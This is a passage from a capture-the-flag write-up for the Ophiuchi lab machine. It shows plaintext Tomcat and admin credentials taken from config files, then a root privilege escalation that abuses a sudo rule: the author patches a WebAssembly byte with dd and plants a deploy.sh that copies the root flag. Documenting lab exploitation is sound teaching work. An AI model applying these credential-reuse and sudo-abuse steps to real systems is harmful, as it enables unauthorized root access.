./conf/tomcat-users.xml: <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
./conf/tomcat-users.xml: <user username="role1" password="<must-be-changed>" roles="role1"/>
[...]
./webapps/host-manager/WEB-INF/jsp/401.jsp: <tt>tomcat</tt> with a password of <tt>s3cret</tt>, add the following to the
./webapps/host-manager/WEB-INF/jsp/401.jsp:<user username="tomcat" password="s3cret" roles="admin-gui"/>
[...]
./webapps/host-manager/WEB-INF/jsp/403.jsp: <tt>tomcat</tt> with a password of <tt>s3cret</tt>, add the following to the
./webapps/host-manager/WEB-INF/jsp/403.jsp:<user username="tomcat" password="s3cret" roles="admin-gui"/>
[...]
./webapps/manager/WEB-INF/jsp/401.jsp: <tt>tomcat</tt> with a password of <tt>s3cret</tt>, add the following to the
./webapps/manager/WEB-INF/jsp/401.jsp:<user username="tomcat" password="s3cret" roles="manager-gui"/>
[...]
./webapps/manager/WEB-INF/jsp/403.jsp: <tt>tomcat</tt> with a password of <tt>s3cret</tt>, add the following to the
./webapps/manager/WEB-INF/jsp/403.jsp:<user username="tomcat" password="s3cret" roles="manager-gui"/>
[...]
./work/Catalina/localhost/host-manager/org/apache/jsp/WEB_002dINF/jsp/_403_jsp.java: out.write(" <tt>tomcat</tt> with a password of <tt>s3cret</tt>, add the following to the\n");
./work/Catalina/localhost/host-manager/org/apache/jsp/WEB_002dINF/jsp/_403_jsp.java: out.write("<user username=\"tomcat\" password=\"s3cret\" roles=\"admin-gui\"/>\n");
[...]
./work/Catalina/localhost/manager/org/apache/jsp/WEB_002dINF/jsp/_401_jsp.java: out.write(" <tt>tomcat</tt> with a password of <tt>s3cret</tt>, add the following to the\n");
./work/Catalina/localhost/manager/org/apache/jsp/WEB_002dINF/jsp/_401_jsp.java: out.write("<user username=\"tomcat\" password=\"s3cret\" roles=\"manager-gui\"/>\n");
[...]
I can see two possible passwords for the user tomcat and another one for the admin user (that I found on the home folder before where is located the first flag, but I have no access to the files inside).
$ sudo -l
sudo -l
[sudo] password for tomcat: s3cret
Sorry, try again.
[sudo] password for tomcat:
Sorry, try again.
[sudo] password for tomcat:
sudo: 3 incorrect password attempts
$ su admin
su admin
Password: whythereisalimit
admin@ophiuchi:/opt/tomcat$
And the second one seems to work!
admin@ophiuchi:~$ cat user.txt
cat user.txt
2******************************2
The first flag.
The best thing for this user is that he can connect using the ssh, so I haven't to re-exploit the next time. I try with the linpeas again, but this time I'm no to lucky. The trick is that I can do something, with the sudo command without a password.
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
Ok, time for development languages I don't know so good this time; a go script, let's look inside to try to understand it.
admin@ophiuchi:~$ cat /opt/wasm-functions/index.go
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
And give a look also at the folder where the files are located.
admin@ophiuchi:~$ ls -la /opt/wasm-functions/
total 3928
drwxr-xr-x 3 root root 4096 Oct 14 19:52 .
drwxr-xr-x 5 root root 4096 Oct 14 09:56 ..
drwxr-xr-x 2 root root 4096 Oct 14 19:52 backup
-rw-r--r-- 1 root root 88 Oct 14 19:49 deploy.sh
-rwxr-xr-x 1 root root 2516736 Oct 14 19:52 index
-rw-rw-r-- 1 root root 522 Oct 14 19:48 index.go
-rwxrwxr-x 1 root root 1479371 Oct 14 19:41 main.wasm
The code seems to load from the main.wasm file a sort of variable (f) and check if it equals 1. If so it executes a script (deploy.sh) that should be deployment for some system.
admin@ophiuchi:~$ cat /opt/wasm-functions/deploy.sh
#!/bin/bash
# ToDo
# Create script to automatic deploy our new web at tomcat port 8080
admin@ophiuchi:~$ cat /opt/wasm-functions/backup/deploy.sh
#!/bin/bash
# ToDo
# Create script to automatic deploy our new web at tomcat port 8080
The script is empty, but whatever is launched has administrator rights, so it can read the root flag. Let's try to launch it.
admin@ophiuchi:~$ cd /opt/wasm-functions/
admin@ophiuchi:/opt/wasm-functions$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Not ready to deploy
The variable seems to not equal to 1. Anyway, following the github URL on the project I understand about the webassembly technology, used inside this project.
Go ahead. First of all, I have to understand if I can launch this script from another folder using different files.
admin@ophiuchi:/opt/wasm-functions$ cd ~/
admin@ophiuchi:~$ pwd
/home/admin
admin@ophiuchi:~$ sudo /usr/bin/go run /opt/wasm-functions/index.go
panic: runtime error: index out of range [0] with length 0
goroutine 1 [running]:
github.com/wasmerio/wasmer-go/wasmer.NewInstanceWithImports.func1(0x0, 0x0, 0xc000040c90, 0x5d1200, 0x200000003)
/root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:94 +0x201
github.com/wasmerio/wasmer-go/wasmer.newInstanceWithImports(0xc000084020, 0xc000040d48, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xc000040d70)
/root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:137 +0x1d3
github.com/wasmerio/wasmer-go/wasmer.NewInstanceWithImports(0x0, 0x0, 0x0, 0xc000084020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4e6180, ...)
/root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:87 +0xa6
github.com/wasmerio/wasmer-go/wasmer.NewInstance(0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x4e6180, 0x1)
/root/go/src/github.com/wasmerio/wasmer-go/wasmer/instance.go:82 +0xc9
main.main()
/opt/wasm-functions/index.go:14 +0x6d
exit status 2
admin@ophiuchi:~$ mkdir tmp
admin@ophiuchi:~$ cd tmp/
admin@ophiuchi:~/tmp$ cp /opt/wasm-functions/main.wasm ./
admin@ophiuchi:~/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Not ready to deploy
And I can... good. On the link founded before about the webassembly technology, I understand that exist some useful tools to read the wasm files, like the WebAssembly Explorer, so I search for it and I found a really amazing online tool.
I provide the file to the tool and magically I can read the content inside the file.
Now I can identify how the value "0" is retrieved from the go script and understand that it's blocked to "0".
I have to change that value to allow the script to activate to the next phase of deployment. To change a single byte inside a binary file, I chose to use a simple command.
admin@ophiuchi:~/tmp$ printf '\x01' | dd of=main.wasm bs=1 seek=110 count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 7.6281e-05 s, 13.1 kB/s
I go to details the second part of the command, the arguments of the dd command (that copy data inside a memory location):
"of" is the file to patch
"bs" how many bytes at a time
"seek" move to the specified position (110 decimal = 6E hex as visible in the screenshot above)
"conv=notrunc" don't truncate the output after the edit (which dd does by default)
And when finally I launch again the command...
admin@ophiuchi:~/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
Well, the deploy.sh file I create is really simple and I think it doesn't need any explanation:
admin@ophiuchi:~/tmp$ cat deploy.sh
#!/bin/bash
# ToDo
# Create script to automatic deploy our new web at tomcat port 8080
cp /root/root.txt /home/admin/tmp/
chown admin /home/admin/tmp/root.txt
Launch the script for the last time and...
admin@ophiuchi:~/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
admin@ophiuchi:~/tmp$ ls -la
total 2912
drwxrwxr-x 2 admin admin 4096 Mar 6 12:08 .
drwxr-xr-x 5 admin admin 4096 Mar 6 12:08 ..
-rw-r--r-- 1 admin admin 160 Mar 6 12:08 deploy.sh
-rwxrwxr-x 1 admin admin 1479371 Mar 6 12:03 main.wasm
-rwxrwxr-x 1 admin admin 1479371 Mar 6 11:50 main.wasm.copy
-r-------- 1 admin root 33 Mar 6 12:08 root.txt
admin@ophiuchi:~/tmp$ cat root.txt
7******************************5
That's all folks... have a nice hacking!